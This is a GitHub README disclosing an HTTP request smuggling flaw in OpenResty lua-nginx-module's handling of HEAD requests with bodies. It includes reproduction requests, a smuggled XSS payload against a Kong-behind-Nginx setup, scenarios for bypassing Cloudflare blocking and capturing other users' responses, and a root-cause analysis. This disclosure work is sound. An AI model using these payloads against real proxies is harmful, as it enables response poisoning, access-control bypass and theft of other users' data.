Skip to content

Benasin/OpenResty_HEAD_HRS

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 

Repository files navigation

OpenResty lua-nginx-module <= v0.10.26 HTTP Request Smuggling in HEAD requests

Description

I found a HTTP Request Smuggling vulnerability in OpenResty/lua-nginx-module <= v0.10.26 which allows attackers to smuggle requests.

When processing HTTP/1.1 requests, lua-nginx-module incorrectly parses HEAD requests with a body and treats the body as the new separate request.

Normally for other proxies, the following request is treated as a single request because the GET /smuggle request is inside of the HEAD request's body.

HEAD / HTTP/1.1
Host: localhost
Content-Length: 52

GET /smuggle HTTP/1.1
Host: localhost

But when parsed by lua-nginx-module this request is treated as 2 separate requests. This leads to discrepancies between proxies if chained together.

Steps to Reproduce:

  1. Setup OpenResty/lua-nginx-module like the following video https://www.youtube.com/watch?v=eSfYLvVQMxw

  2. Send this request in Burp Suite.

    HEAD / HTTP/1.1
    Host: 192.168.17.130:8000
    Content-Length: 52
    
    GET /smuggle HTTP/1.1
    Host: 192.168.17.130:8000
    
    

    Sending the smuggle request Log results

    As you can see in the response, and the access log. There is a smuggled GET request even though we have only sent the HEAD request.

Attack scenerios:

I've observed that proxies which are implemented on top of lua-nginx-module also suffer from this issue (Kong Gateway, APISIX, ...). Here are some attack scenarios to signify the impactfulness of this vulnerability:

I will be using Kong Gateway as an example for my POCs.

This is not a problem if Kong stands on its own at the front since it is just a normal HTTP pipelining behaviour. But, if Kong is chained with a front-end proxy (Nginx, Cloudflare, ...) it would allow attackers to serve malicious responses and smuggle requests through the front-end proxies, which have persistent connection (keep-alive) to Kong. Let me explained how:

As I have observed in many proxies, a HEAD request with a body will be treated as a single request, however when this request is passed to Kong gateway it would be treated as 2 separated pipelined requests (a HEAD request and a malicious request in the body) due to lua-nginx-module behaviour. This would leave the malicious request dangling in the response queue, and when another user sends a request that malicious response will be sent back to them.

Attack scenario 1: Serving XSS Responses to all victims

I have set up another POC (in kong-xss folder) where the latest Nginx will be the front-end proxy, Kong as the API gateway, and a default Apache page with a single configuration to redirect /assets to /assets/ path.

An attacker will be able to achieve XSS with this attack, even with a default Apache web page.

XSS Smuggle Payload:

HEAD / HTTP/1.1
Host: localhost
Content-Length: 122

HEAD /app HTTP/1.1
Host: localhost
Connection: keep-alive

GET /app/assets?<script>alert(origin)</script> HTTP/1.1
X:
xss_smuggle.1.mp4

Attack scenario 2: Bypassing Front-end proxies protection (E.g: Cloudflare)

I have created an attack scenario where CloudFlare will be blocking requests to /admin. However, an attacker can smuggle a GET /admin request in a HEAD request's body to bypass CloudFlare.

Bypassing Cloudflare

Attack Example 3: Stealing other user's responses

This attack allows the attacker to desync the response queue and capture other user's responses. Here is a visualization video on how this attack works:

response_capure_kong.2.mp4

Root-cause analysis:

The vulnerability lives in src/ngx_http_lua_util.c file.

Vulnerable Code

  • ngx_http_lua_send_chain_link is called when processing pipeline requests.
  • ngx_http_discard_request_body at line 614 instructs nginx to discard (read and ignore) the request body alt text
  • ngx_http_discard_request_body will call ngx_http_discard_request_body_filter which will add next request to process pointer offset with the request’s Content-Length.
  • However, at line 599, if method is HEAD ngx_http_lua_send_chain_link will returns before reaching ngx_http_discard_request_body and the request body will be treated as a new request. Causing the HTTP Request Smuggling issue!

Impact:

The attacker can use this attack to bypass any frontend proxies protection and serve malicious responses to all the users in the same connection pool and capture responses of other users.

Discovery/Disclosure Timeline

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors